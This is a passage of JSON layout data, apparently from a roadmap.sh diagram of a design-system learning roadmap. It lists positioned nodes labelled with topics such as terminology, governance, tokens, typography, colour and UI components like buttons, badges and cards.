\"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.16615091290565,\n        \"y\": 205.4393516042962\n      }\n    },\n    {\n      \"id\": \"_3_tFOpQisx6DSP4Yc2E2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.16615091290565,\n        \"y\": 258.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Stakeholders Involved in Building\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ODQ8zrHc2rsc8PN-APKvz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 378,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.16615091290565,\n        \"y\": 258.43935160429623\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"UZq7Aq3nhidsXdsKeEnNF\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -484.62298223659093,\n        \"y\": 2939.899845583502\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"f5WRewBlpeYMf71cPcXs-\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -484.62298223659093,\n        \"y\": 2939.899845583502\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hauTvrBOAHgrUnO_m_kDM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.16615091290565,\n        \"y\": 311.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Design System Examples\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ODQ8zrHc2rsc8PN-APKvz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 378,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.16615091290565,\n        \"y\": 311.43935160429623\n      }\n    },\n    {\n      \"id\": \"de0TKvmFTDmKGZc5X7iFq\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -362.3175069304428,\n        \"y\": 314.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Terminology\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JfXwzkN29UGz17FYHHE3A\"\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -362.3175069304428,\n        \"y\": 314.43935160429623\n      }\n    },\n    {\n      \"id\": \"97cpJyKBKNAq1P_pQZH-t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 155.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Component\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 155.4393516042962\n      }\n    },\n    {\n      \"id\": \"vJ4WytrzY7j10mo8S3O1u\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 208.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Component Library\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 208.4393516042962\n      }\n    },\n    {\n      \"id\": \"fPUuXrlchna3K00KcY4O6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 261.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Design Language\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 261.43935160429623\n      }\n    },\n    {\n      \"id\": \"kifE3JE2immnU1O3-toZf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 314.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Governance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 314.43935160429623\n      }\n    },\n    {\n      \"id\": \"mlBzJ2YvBr9QuOthKdj0p\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 367.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Guidelines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 367.43935160429623\n      }\n    },\n    {\n      \"id\": \"7xPT8rUX3hjSWbxH_FfQs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 420.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Pattern\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 420.43935160429623\n      }\n    },\n    {\n      \"id\": \"4dzoZmkNHPedgLqLy93t8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 473.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Pilot\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 473.43935160429623\n      }\n    },\n    {\n      \"id\": \"jETJVuS_EczJiQASLqaQr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 526.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Token\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 526.4393516042962\n      }\n    },\n    {\n      \"id\": \"lUObv2N7eH3Jdnwwd5vmI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 579.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"UI Kit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cMfsRtvzvDZZJ0TqeUOxm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 579.4393516042962\n      }\n    },\n    {\n      \"id\": \"dUaoMARPabiD4DRqdkaer\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -362.3175069304428,\n        \"y\": 450.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Making a Design System\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JfXwzkN29UGz17FYHHE3A\"\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -362.3175069304428,\n        \"y\": 450.43935160429623\n      }\n    },\n    {\n      \"id\": \"-9I3fTpnQlmcZmIIuQiPe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.16615091290565,\n        \"y\": 396.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Making it from Scratch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ODQ8zrHc2rsc8PN-APKvz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 209\n      },\n      \"measured\": {\n        \"width\": 378,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.16615091290565,\n        \"y\": 396.43935160429623\n      }\n    },\n    {\n      \"id\": \"z5gBy7BjlBKwbYbxXtoDA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.16615091290565,\n        \"y\": 450.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Making it from Existing Design\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ODQ8zrHc2rsc8PN-APKvz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 209\n      },\n      \"measured\": {\n        \"width\": 378,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.16615091290565,\n        \"y\": 450.43935160429623\n      }\n    },\n    {\n      \"id\": \"8eWhvW2zDIxMGHaXl0Y9i\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -362.3175069304428,\n        \"y\": 676.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Existing Design Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"JfXwzkN29UGz17FYHHE3A\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -362.3175069304428,\n        \"y\": 676.4393516042962\n      }\n    },\n    {\n      \"id\": \"NKm-gXbt5Y7dDwKVkPHjX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.16615091290565,\n        \"y\": 537.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Performing a Visual Audit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ODQ8zrHc2rsc8PN-APKvz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 229\n      },\n      \"measured\": {\n        \"width\": 378,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.16615091290565,\n        \"y\": 537.4393516042962\n      }\n    },\n    {\n      \"id\": \"CnsDoZ3gIaPeNbwHuZXYJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -30.16615091290565,\n        \"y\": 591.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Identify Existing Design Process\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ODQ8zrHc2rsc8PN-APKvz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 229\n      },\n      \"measured\": {\n        \"width\": 378,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -30.16615091290565,\n        \"y\": 591.4393516042962\n      }\n    },\n    {\n      \"id\": \"jtjlvmiYtYGZtWJITn92P\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 76.3618127280065,\n        \"y\": 660.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Identify Design Elements\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 207,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 76.3618127280065,\n        \"y\": 660.400748222349\n      }\n    },\n    {\n      \"id\": \"aak3227IDDJMh0MquQX6m\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -10.58443340137734,\n        \"y\": 710.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Icons\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2prUeRYbSJTYjo2quJIKs\"\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 122\n      },\n      \"measured\": {\n        \"width\": 80,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -10.58443340137734,\n        \"y\": 710.400748222349\n      }\n    },\n    {\n      \"id\": \"-MrrapoyFWKhSeE2PZ9mb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 177.8338490870944,\n        \"y\": 710.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Visual Forms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ODQ8zrHc2rsc8PN-APKvz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149\n      },\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 177.8338490870944,\n        \"y\": 710.400748222349\n      }\n    },\n    {\n      \"id\": \"78RsPhsWpl00AbkwKXUxL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 73.41556659862266,\n        \"y\": 710.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Sizing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2prUeRYbSJTYjo2quJIKs\"\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 122\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 73.41556659862266,\n        \"y\": 710.400748222349\n      }\n    },\n    {\n      \"id\": \"GtLYBPJjdZwG0qgA7erk7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 73.41556659862266,\n        \"y\": 763.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Spaces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ODQ8zrHc2rsc8PN-APKvz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149\n      },\n      \"measured\": {\n        \"width\": 100,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 73.41556659862266,\n        \"y\": 763.400748222349\n      }\n    },\n    {\n      \"id\": \"2prUeRYbSJTYjo2quJIKs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -10.166150912905607,\n        \"y\": 763.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Color\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ODQ8zrHc2rsc8PN-APKvz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 122\n      },\n      \"measured\": {\n        \"width\": 80,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -10.166150912905607,\n        \"y\": 763.400748222349\n      }\n    },\n    {\n      \"id\": \"ODQ8zrHc2rsc8PN-APKvz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 177.8338490870944,\n        \"y\": 763.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Typography\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VhSEH_RoWFt1z2lial7xZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149\n      },\n      \"measured\": {\n        \"width\": 149,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 177.8338490870944,\n        \"y\": 763.400748222349\n      }\n    },\n    {\n      \"id\": \"rwcJIAXH2ooXpDvkQqrEX\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -29.138187271993502,\n        \"y\": 830.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"rfg1MAPkP5mIXnvr0oTPl\"\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 376,\n        \"height\": 238\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -29.138187271993502,\n        \"y\": 830.400748222349\n      }\n    },\n    {\n      \"id\": \"uMvaS418F2pxiJ4tYtLJ2\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 70.3618127280065,\n        \"y\": 844.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Identify Components\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"jtjlvmiYtYGZtWJITn92P\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 175,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 70.3618127280065,\n        \"y\": 844.400748222349\n      }\n    },\n    {\n      \"id\": \"_dIMuXWI73ogboGjnLIpT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -13.138187271993502,\n        \"y\": 893.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Avatar\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"aak3227IDDJMh0MquQX6m\"\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 122\n      },\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -13.138187271993502,\n        \"y\": 893.400748222349\n      }\n    },\n    {\n      \"id\": \"UG4AIgJBfZpuhia4Y1K5v\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 210.3618127280065,\n        \"y\": 893.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Badges\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"-MrrapoyFWKhSeE2PZ9mb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149\n      },\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 210.3618127280065,\n        \"y\": 893.400748222349\n      }\n    },\n    {\n      \"id\": \"5DUobzueMZbScyTZTHpCS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 94.83384908709438,\n        \"y\": 893.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Banners\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"78RsPhsWpl00AbkwKXUxL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 122\n      },\n      \"measured\": {\n        \"width\": 113,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 94.83384908709438,\n        \"y\": 893.400748222349\n      }\n    },\n    {\n      \"id\": \"s6oqvHgwK4Cwyx-JENBbY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 209.3618127280065,\n        \"y\": 946.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Buttons\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GtLYBPJjdZwG0qgA7erk7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 149,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 149\n      },\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 209.3618127280065,\n        \"y\": 946.400748222349\n      }\n    },\n    {\n      \"id\": \"yLLAUGbGUHBTEDkZNK0fm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -13.138187271993502,\n        \"y\": 946.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cards\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5LCMzBnnS206t5EtgaUx8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 122\n      },\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -13.138187271993502,\n        \"y\": 946.400748222349\n      